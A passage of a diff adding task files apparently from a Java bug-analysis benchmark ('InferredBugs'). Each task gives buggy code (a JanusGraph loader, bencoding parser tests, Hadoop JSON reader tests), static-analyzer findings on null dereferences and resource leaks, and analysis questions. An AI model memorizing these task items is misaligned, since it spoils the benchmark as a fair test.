+import java.util.concurrent.Executors;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.stream.Collectors;
+
+import org.apache.commons.lang.exception.ExceptionUtils;
+import org.apache.tinkerpop.gremlin.process.traversal.dsl.graph.GraphTraversalSource;
+import org.apache.tinkerpop.gremlin.structure.Vertex;
+import org.janusgraph.core.JanusGraph;
+import org.janusgraph.core.Multiplicity;
+import org.janusgraph.core.PropertyKey;
+import org.janusgraph.core.schema.JanusGraphManagement;
+import org.janusgraph.util.stats.MetricManager;
+
+import com.codahale.metrics.ConsoleReporter;
+import com.codahale.metrics.MetricRegistry;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.Lists;
+import com.opencsv.CSVReader;
+
+import lombok.Getter;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+
+/**
+ *
+ * @author Matthew Sowders
+ * @author Alexander Patrikalakis
+ *
+ */
+@Slf4j
+public final class MarvelGraphFactory {
+    private static final SecureRandom RANDOM = new SecureRandom();
+    private static final int BATCH_SIZE = 10;
+    public static final String APPEARED = "appeared";
+    public static final String COMIC_BOOK = "comic-book";
+    public static final String CHARACTER = "character";
+    public static final String WEAPON = "weapon";
+    public static final MetricRegistry REGISTRY = MetricManager.INSTANCE.getRegistry();
+    private static final ConsoleReporter REPORTER = ConsoleReporter.forRegistry(REGISTRY).build();
+    private static final String TIMER_LINE = "MarvelGraph.line";
+    private static final String TIMER_CREATE = "MarvelGraph.create_";
+    private static final String COUNTER_GET = "MarvelGraph.get_";
+    private static final List<String> WEAPONS = Lists.newArrayList("claws", "ring", "shield", "robotic suit", "cards", "surf board", "glider", "gun", "swords", "lasso");
+    private static final AtomicInteger COMPLETED_TASK_COUNT = new AtomicInteger(0);
+    private static final int POOL_SIZE = 10;
+    private static final int TIMEOUT_SIXTY_SECONDS = 60;
+
+    private MarvelGraphFactory() {
+    }
+
+    /**
+     * Loads a graph with part or all of the marvel data.
+     * @param graph the graph object to load with marvel data.
+     * @param rowsToLoad the number of rows to load with data
+     * @param report whether to report statistics or not
+     * @throws IOException if there was a problem loading the marvel file
+     * @throws InterruptedException if the JanusGraph loading was interrupted
+     */
+    public static void load(final JanusGraph graph, final int rowsToLoad, final boolean report)
+        throws IOException, InterruptedException {
+
+        final JanusGraphManagement mgmt = graph.openManagement();
+        if (mgmt.getGraphIndex(CHARACTER) == null) {
+            final PropertyKey characterKey = mgmt.makePropertyKey(CHARACTER).dataType(String.class).make();
+            mgmt.buildIndex(CHARACTER, Vertex.class).addKey(characterKey).unique().buildCompositeIndex();
+        }
+        if (mgmt.getGraphIndex(COMIC_BOOK) == null) {
+            final PropertyKey comicBookKey = mgmt.makePropertyKey(COMIC_BOOK).dataType(String.class).make();
+            mgmt.buildIndex(COMIC_BOOK, Vertex.class).addKey(comicBookKey).unique().buildCompositeIndex();
+            mgmt.makePropertyKey(WEAPON).dataType(String.class).make();
+            mgmt.makeEdgeLabel(APPEARED).multiplicity(Multiplicity.MULTI).make();
+        }
+        mgmt.commit();
+
+        final ClassLoader classLoader = MarvelGraphFactory.class.getClassLoader();
+        final URL resource = classLoader.getResource("META-INF/marvel.csv");
+        Preconditions.checkNotNull(resource);
+        final Map<String, Set<String>> comicToCharacter = new HashMap<>();
+        final Map<String, Set<String>> characterToComic = new HashMap<>();
+        final Set<String> characters = new HashSet<>();
+        final BlockingQueue<Runnable> creationQueue = new LinkedBlockingQueue<>();
+        try (CSVReader reader = new CSVReader(new InputStreamReader(resource.openStream()))) {
+            reader.readAll().subList(0, rowsToLoad).forEach(nextLine -> {
+                final String comicBook = nextLine[1];
+                final String[] characterNames = nextLine[0].split("/");
+                if (!comicToCharacter.containsKey(comicBook)) {
+                    comicToCharacter.put(comicBook, new HashSet<>());
+                }
+                final List<String> comicCharacters = Arrays.asList(characterNames);
+                comicToCharacter.get(comicBook).addAll(comicCharacters);
+                characters.addAll(comicCharacters);
+            });
+        }
+        creationQueue.addAll(characters.stream().map(character -> new CharacterCreationCommand(character, graph))
+            .collect(Collectors.toList()));
+
+        final BlockingQueue<Runnable> appearedQueue = new LinkedBlockingQueue<>();
+        for (String comicBook : comicToCharacter.keySet()) {
+            creationQueue.add(new ComicBookCreationCommand(comicBook, graph));
+            final Set<String> comicCharacters = comicToCharacter.get(comicBook);
+            for (String character : comicCharacters) {
+                final AppearedCommand lineCommand = new AppearedCommand(graph, new Appeared(character, comicBook));
+                appearedQueue.add(lineCommand);
+                if (!characterToComic.containsKey(character)) {
+                    characterToComic.put(character, new HashSet<String>());
+                }
+                characterToComic.get(character).add(comicBook);
+            }
+            REGISTRY.histogram("histogram.comic-to-character").update(comicCharacters.size());
+        }
+
+        int maxAppearances = 0;
+        String maxCharacter = "";
+        for (String character : characterToComic.keySet()) {
+            final Set<String> comicBookSet = characterToComic.get(character);
+            final int numberOfAppearances = comicBookSet.size();
+            REGISTRY.histogram("histogram.character-to-comic").update(numberOfAppearances);
+            if (numberOfAppearances > maxAppearances) {
+                maxCharacter = character;
+                maxAppearances = numberOfAppearances;
+            }
+        }
+        log.info("Character {} has most appearances at {}", maxCharacter, maxAppearances);
+
+        ExecutorService executor = Executors.newFixedThreadPool(POOL_SIZE);
+        for (int i = 0; i < POOL_SIZE; i++) {
+            executor.execute(new BatchCommand(graph, creationQueue));
+        }
+        executor.shutdown();
+        while (!executor.awaitTermination(TIMEOUT_SIXTY_SECONDS, TimeUnit.SECONDS)) {
+            log.info("Awaiting:" + creationQueue.size());
+            if (report) {
+                REPORTER.report();
+            }
+        }
+
+        executor = Executors.newSingleThreadExecutor();
+        executor.execute(new BatchCommand(graph, appearedQueue));
+
+        executor.shutdown();
+        while (!executor.awaitTermination(TIMEOUT_SIXTY_SECONDS, TimeUnit.SECONDS)) {
+            log.info("Awaiting:" + appearedQueue.size());
+            if (report) {
+                REPORTER.report();
+            }
+        }
+        log.info("MarvelGraph.load complete");
+    }
+
+    @RequiredArgsConstructor
+    @Getter
+    private static class Appeared {
+        private final String character;
+        private final String comicBook;
+    }
+
+    @RequiredArgsConstructor
+    private static class BatchCommand implements Runnable {
+        private final JanusGraph graph;
+        private final BlockingQueue<Runnable> commands;
+
+        @Override
+        public void run() {
+            int i = 0;
+            Runnable command = null;
+            while ((command = commands.poll()) != null) {
+                try {
+                    command.run();
+                } catch (Throwable e) {
+                    final Throwable rootCause = ExceptionUtils.getRootCause(e);
+                    final String rootCauseMessage = Optional.ofNullable(rootCause.getMessage()).orElse("");
+                    log.error("Error processing comic book {} {}", e.getMessage(), rootCauseMessage, e);
+                }
+                if (i++ % BATCH_SIZE == 0) {
+                    try {
+                        graph.tx().commit();
+                    } catch (Throwable e) {
+                        log.error("error processing commit {} {}", e.getMessage(), ExceptionUtils.getRootCause(e).getMessage());
+                    }
+                }
+
+            }
+            try {
+                graph.tx().commit();
+            } catch (Throwable e) {
+                log.error("error processing commit {} {}", e.getMessage(), ExceptionUtils.getRootCause(e).getMessage());
+            }
+        }
+
+    }
+
+    @RequiredArgsConstructor
+    private static class ComicBookCreationCommand implements Runnable {
+        private final String comicBook;
+        private final JanusGraph graph;
+
+        @Override
+        public void run() {
+            final long start = System.currentTimeMillis();
+            final Vertex vertex = graph.addVertex();
+            vertex.property(COMIC_BOOK, comicBook);
+            REGISTRY.counter(COUNTER_GET + COMIC_BOOK).inc();
+            final long end = System.currentTimeMillis();
+            final long time = end - start;
+            REGISTRY.timer(TIMER_CREATE + COMIC_BOOK).update(time, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    @RequiredArgsConstructor
+    private static class CharacterCreationCommand implements Runnable {
+        private final String character;
+        private final JanusGraph graph;
+
+        @Override
+        public void run() {
+            final long start = System.currentTimeMillis();
+            final Vertex vertex = graph.addVertex();
+            vertex.property(CHARACTER, character);
+            // only sets weapon on character vertex on initial creation.
+            vertex.property(WEAPON, WEAPONS.get(RANDOM.nextInt(WEAPONS.size())));
+            REGISTRY.counter(COUNTER_GET + CHARACTER).inc();
+            final long end = System.currentTimeMillis();
+            final long time = end - start;
+            REGISTRY.timer(TIMER_CREATE + CHARACTER).update(time, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    @RequiredArgsConstructor
+    private static class AppearedCommand implements Runnable {
+        private final JanusGraph graph;
+        private final Appeared appeared;
+
+        @Override
+        public void run() {
+            try {
+                final long start = System.currentTimeMillis();
+                process(graph, appeared);
+                final long end = System.currentTimeMillis();
+                final long time = end - start;
+                REGISTRY.timer(TIMER_LINE).update(time, TimeUnit.MILLISECONDS);
+            } catch (Throwable e) {
+                final Throwable rootCause = ExceptionUtils.getRootCause(e);
+                final String rootCauseMessage = Optional.ofNullable(rootCause.getMessage()).orElse("");
+                log.error("Error processing line {} {}", e.getMessage(), rootCauseMessage, e);
+            } finally {
+                COMPLETED_TASK_COUNT.incrementAndGet();
+            }
+        }
+
+    }
+
+    private static void process(final JanusGraph graph, final Appeared appeared) {
+        Vertex comicBookVertex = get(graph, COMIC_BOOK, appeared.getComicBook());
+        if (null == comicBookVertex) {
+            REGISTRY.counter("error.missingComicBook." + appeared.getComicBook()).inc();
+            comicBookVertex = graph.addVertex();
+            comicBookVertex.property(COMIC_BOOK, appeared.getComicBook());
+        }
+        Vertex characterVertex = get(graph, CHARACTER, appeared.getCharacter());
+        if (null == characterVertex) {
+            REGISTRY.counter("error.missingCharacter." + appeared.getCharacter()).inc();
+            characterVertex = graph.addVertex();
+            characterVertex.property(CHARACTER, appeared.getCharacter());
+            characterVertex.property(WEAPON, WEAPONS.get(RANDOM.nextInt(WEAPONS.size())));
+        }
+        characterVertex.addEdge(APPEARED, comicBookVertex);
+    }
+
+    private static Vertex get(final JanusGraph graph, final String key, final String value) {
+        final GraphTraversalSource g = graph.traversal();
+        final Iterator<Vertex> it = g.V().has(key, value);
+        if (it.hasNext()) {
+            return it.next();
+        }
+        return null;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `comicCharacters` last assigned on line 132 could be null and is dereferenced at line 133.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MarvelGraphFactory.load(JanusGraph,int,boolean)
+
+### Procedure Id:
+com.amazon.janusgraph.example.MarvelGraphFactory.load(org.janusgraph.core.JanusGraph,int,boolean):vo.961a7e190cdc63763992b88dabd6b715
+
+### File:
+src/main/java/com/amazon/janusgraph/example/MarvelGraphFactory.java
+
+### Key:
+MarvelGraphFactory.java|load|NULL_DEREFERENCE
+
+### Node Key:
+75a3105ef036e14d28c2a0df35d92164
+
+### Hash:
+958695a4ff460f946867a237f32f3592
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8593/instruction.md b/inferredbugs-8593/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8605e476846bc956787a7dcde75dcb0f74b68e46
--- /dev/null
+++ b/inferredbugs-8593/instruction.md
@@ -0,0 +1,193 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** bt
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package bt.bencoding;
+
+import org.junit.Test;
+
+import java.math.BigInteger;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+
+public class BEParserTest {
+
+    @Test
+    public void testParse_String1() {
+        BEParser parser = new BEParser("1:s");
+        assertEquals(BEType.STRING, parser.readType());
+        assertEquals("s", parser.readString());
+    }
+
+    @Test
+    public void testParse_String2() {
+        BEParser parser = new BEParser("11:!@#$%^&*()_");
+        assertEquals(BEType.STRING, parser.readType());
+        assertEquals("!@#$%^&*()_", parser.readString());
+    }
+
+    @Test(expected = Exception.class)
+    public void testParse_String_Exception_EmptyString() {
+        new BEParser("");
+    }
+
+    @Test(expected = Exception.class)
+    public void testParse_String_Exception_LengthStartsWithZero() {
+        new BEParser("0:").readString();
+    }
+
+    @Test(expected = Exception.class)
+    public void testParse_String_Exception_InsufficientContent() {
+        new BEParser("7:abcdef").readString();
+    }
+
+    @Test
+    public void testParse_Integer1() {
+        BEParser parser = new BEParser("i1e");
+        assertEquals(BEType.INTEGER, parser.readType());
+        assertEquals(BigInteger.ONE, parser.readInteger());
+    }
+
+    @Test
+    public void testParse_Integer_Negative() {
+        BEParser parser = new BEParser("i-1e");
+        assertEquals(BEType.INTEGER, parser.readType());
+        assertEquals(BigInteger.ONE.negate(), parser.readInteger());
+    }
+
+    @Test(expected = Exception.class)
+    public void testParse_Integer_Exception_ZeroLength() {
+        BEParser parser = new BEParser("ie");
+        assertEquals(BEType.INTEGER, parser.readType());
+        parser.readInteger();
+    }
+
+    @Test//(expected = Exception.class)
+    public void testParse_Integer_Exception_NegativeZero() {
+        // not sure why the protocol spec forbids negative zeroes,
+        // so let it be for now
+        BEParser parser = new BEParser("i-0e");
+        assertEquals(BEType.INTEGER, parser.readType());
+        assertEquals(BigInteger.ZERO.negate(), parser.readInteger());
+    }
+
+    @Test(expected = Exception.class)
+    public void testParse_Integer_Exception_NotTerminated() {
+        BEParser parser = new BEParser("i1");
+        assertEquals(BEType.INTEGER, parser.readType());
+        parser.readInteger();
+    }
+
+    @Test(expected = Exception.class)
+    public void testParse_Integer_Exception_UnexpectedTokens() {
+        BEParser parser = new BEParser("i-1-e");
+        assertEquals(BEType.INTEGER, parser.readType());
+        parser.readInteger();
+    }
+
+    @Test
+    public void testParse_List1() {
+        BEParser parser = new BEParser("l4:spam4:eggsi1ee");
+        assertEquals(BEType.LIST, parser.readType());
+        assertArrayEquals(
+                new Object[] {"spam", "eggs", BigInteger.ONE},
+                parser.readList().toArray()
+        );
+    }
+
+    @Test
+    public void testParse_List_ListOfLists() {
+        BEParser parser = new BEParser("l4:spaml4:spam4:eggsi1eei1ee");
+        assertEquals(BEType.LIST, parser.readType());
+        assertArrayEquals(
+                new Object[] {"spam", Arrays.asList("spam", "eggs", BigInteger.ONE), BigInteger.ONE},
+                parser.readList().toArray()
+        );
+    }
+
+    @Test
+    public void testParse_Map1() {
+        BEParser parser = new BEParser("d4:spaml1:a1:bee");
+        assertEquals(BEType.MAP, parser.readType());
+
+        Map<String, Object> expected = new HashMap<>();
+        expected.put("spam", Arrays.asList("a", "b"));
+
+        assertEquals(expected, parser.readMap());
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.PushbackReader` acquired by call to `BEParser(...)` at line 76 is not released after line 76.
+**Note**: potential exception at line 76
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BEParserTest.testParse_Integer_Exception_NotTerminated()
+
+### Procedure Id:
+bt.bencoding.BEParserTest.testParse_Integer_Exception_NotTerminated():void.2f4c3431eda8fcb0834e327607e22e87
+
+### File:
+src/test/java/bt/bencoding/BEParserTest.java
+
+### Key:
+BEParserTest.java|testParse_Integer_Exception_NotTerminated|RESOURCE_LEAK
+
+### Node Key:
+f5c23f66aa0be60f5260b2bec3c2ccc6
+
+### Hash:
+bc82cdf038fba749adf208d3064afd11
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8594/instruction.md b/inferredbugs-8594/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a41ae55fadbe524eb5afbbee980e9f4eccf28b99
--- /dev/null
+++ b/inferredbugs-8594/instruction.md
@@ -0,0 +1,193 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** bt
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package bt.bencoding;
+
+import org.junit.Test;
+
+import java.math.BigInteger;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+
+public class BEParserTest {
+
+    @Test
+    public void testParse_String1() {
+        BEParser parser = new BEParser("1:s");
+        assertEquals(BEType.STRING, parser.readType());
+        assertEquals("s", parser.readString());
+    }
+
+    @Test
+    public void testParse_String2() {
+        BEParser parser = new BEParser("11:!@#$%^&*()_");
+        assertEquals(BEType.STRING, parser.readType());
+        assertEquals("!@#$%^&*()_", parser.readString());
+    }
+
+    @Test(expected = Exception.class)
+    public void testParse_String_Exception_EmptyString() {
+        new BEParser("");
+    }
+
+    @Test(expected = Exception.class)
+    public void testParse_String_Exception_LengthStartsWithZero() {
+        new BEParser("0:").readString();
+    }
+
+    @Test(expected = Exception.class)
+    public void testParse_String_Exception_InsufficientContent() {
+        new BEParser("7:abcdef").readString();
+    }
+
+    @Test
+    public void testParse_Integer1() {
+        BEParser parser = new BEParser("i1e");
+        assertEquals(BEType.INTEGER, parser.readType());
+        assertEquals(BigInteger.ONE, parser.readInteger());
+    }
+
+    @Test
+    public void testParse_Integer_Negative() {
+        BEParser parser = new BEParser("i-1e");
+        assertEquals(BEType.INTEGER, parser.readType());
+        assertEquals(BigInteger.ONE.negate(), parser.readInteger());
+    }
+
+    @Test(expected = Exception.class)
+    public void testParse_Integer_Exception_ZeroLength() {
+        BEParser parser = new BEParser("ie");
+        assertEquals(BEType.INTEGER, parser.readType());
+        parser.readInteger();
+    }
+
+    @Test//(expected = Exception.class)
+    public void testParse_Integer_Exception_NegativeZero() {
+        // not sure why the protocol spec forbids negative zeroes,
+        // so let it be for now
+        BEParser parser = new BEParser("i-0e");
+        assertEquals(BEType.INTEGER, parser.readType());
+        assertEquals(BigInteger.ZERO.negate(), parser.readInteger());
+    }
+
+    @Test(expected = Exception.class)
+    public void testParse_Integer_Exception_NotTerminated() {
+        BEParser parser = new BEParser("i1");
+        assertEquals(BEType.INTEGER, parser.readType());
+        parser.readInteger();
+    }
+
+    @Test(expected = Exception.class)
+    public void testParse_Integer_Exception_UnexpectedTokens() {
+        BEParser parser = new BEParser("i-1-e");
+        assertEquals(BEType.INTEGER, parser.readType());
+        parser.readInteger();
+    }
+
+    @Test
+    public void testParse_List1() {
+        BEParser parser = new BEParser("l4:spam4:eggsi1ee");
+        assertEquals(BEType.LIST, parser.readType());
+        assertArrayEquals(
+                new Object[] {"spam", "eggs", BigInteger.ONE},
+                parser.readList().toArray()
+        );
+    }
+
+    @Test
+    public void testParse_List_ListOfLists() {
+        BEParser parser = new BEParser("l4:spaml4:spam4:eggsi1eei1ee");
+        assertEquals(BEType.LIST, parser.readType());
+        assertArrayEquals(
+                new Object[] {"spam", Arrays.asList("spam", "eggs", BigInteger.ONE), BigInteger.ONE},
+                parser.readList().toArray()
+        );
+    }
+
+    @Test
+    public void testParse_Map1() {
+        BEParser parser = new BEParser("d4:spaml1:a1:bee");
+        assertEquals(BEType.MAP, parser.readType());
+
+        Map<String, Object> expected = new HashMap<>();
+        expected.put("spam", Arrays.asList("a", "b"));
+
+        assertEquals(expected, parser.readMap());
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.PushbackReader` acquired by call to `BEParser(...)` at line 36 is not released after line 36.
+**Note**: potential exception at line 36
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BEParserTest.testParse_String_Exception_LengthStartsWithZero()
+
+### Procedure Id:
+bt.bencoding.BEParserTest.testParse_String_Exception_LengthStartsWithZero():void.6e173fe832760b07b55fcbff0ee2a595
+
+### File:
+src/test/java/bt/bencoding/BEParserTest.java
+
+### Key:
+BEParserTest.java|testParse_String_Exception_LengthStartsWithZero|RESOURCE_LEAK
+
+### Node Key:
+34a7f3dc3959865c4e6123ffbf530c11
+
+### Hash:
+adb349dfb785cd6a37c027545389fd61
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8673/instruction.md b/inferredbugs-8673/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0ffa70cd0a0f9fc58a1e8d74224a04c67155562d
--- /dev/null
+++ b/inferredbugs-8673/instruction.md
@@ -0,0 +1,302 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spatial-framework-for-hadoop
+**Bug ID:** 20
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.esri.json.hadoop;
+
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.io.LongWritable;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.mapred.FileSplit;
+import org.apache.hadoop.mapred.JobConf;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class TestUnenclosedJsonRecordReader {
+	private UnenclosedJsonRecordReader getReaderFor(String resource, int start, int end) throws IOException {
+		Path path = new Path(this.getClass().getResource(resource).getFile());
+		
+		JobConf conf = new JobConf();
+		
+		FileSplit split = new FileSplit(path, start, end - start, new String[0]);
+		
+		return new UnenclosedJsonRecordReader(split, conf);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader) throws IOException {
+		return getRecordIndexesInReader(reader, false);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader, boolean flag) throws IOException {
+		List<Integer> linesList = new LinkedList<Integer>();
+		
+		LongWritable key = reader.createKey();
+		Text value = reader.createValue();
+		
+		while (reader.next(key, value)) {
+			int line = flag ? (int)(key.get()) : value.toString().charAt(23) - '0';
+			linesList.add(line);
+			System.out.println(key.get() + " - " + value.toString());
+		}
+		
+		int [] lines = new int[linesList.size()];
+		for (int i=0;i<linesList.size();i++) {
+			lines[i] = linesList.get(i);
+		}
+		return lines;
+	}
+	
+	@Test
+	public void TestArbitrarySplitLocations() throws IOException {
+		
+		//int totalSize = 415;
+		
+		//int [] recordBreaks = new int[] { 0, 40, 80, 120, 160, 200, 240, 280, 320, 372 };
+	
+		
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 40)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 41)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 42)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 39, 123)));
+		
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 20, 123)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 40, 123)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+		Assert.assertArrayEquals(new int[] { 6, 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 240, 340)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 353, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 354, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 355, 415)));
+	}
+
+	@Test
+	public void TestEachOnce() throws IOException {
+		//Each record exactly once - see commit b8f6d6dfaf11cce7d8cba54e6011e8684ade0e85, issue #68
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 63)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 63, 121)));
+		Assert.assertArrayEquals(new int[] { 4 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 121, 187)));
+		Assert.assertArrayEquals(new int[] { 5, 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 187, 264)));
+		Assert.assertArrayEquals(new int[] { 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 264, 352)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 352, 412)));
+
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 23)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 23, 41)));
+		// Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+	}
+
+	@Test
+	public void TestWhitespace() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Ignore  // May not be guaranteed behavior
+	public void TestComma() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Test
+	public void TestEscape() throws IOException {  // Issue #68
+		//int [] recordBreaks = new int[] { 0, 44, 88, 137, 181, 229, 270, 311, 354 };  //length 395
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 43, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 140)));
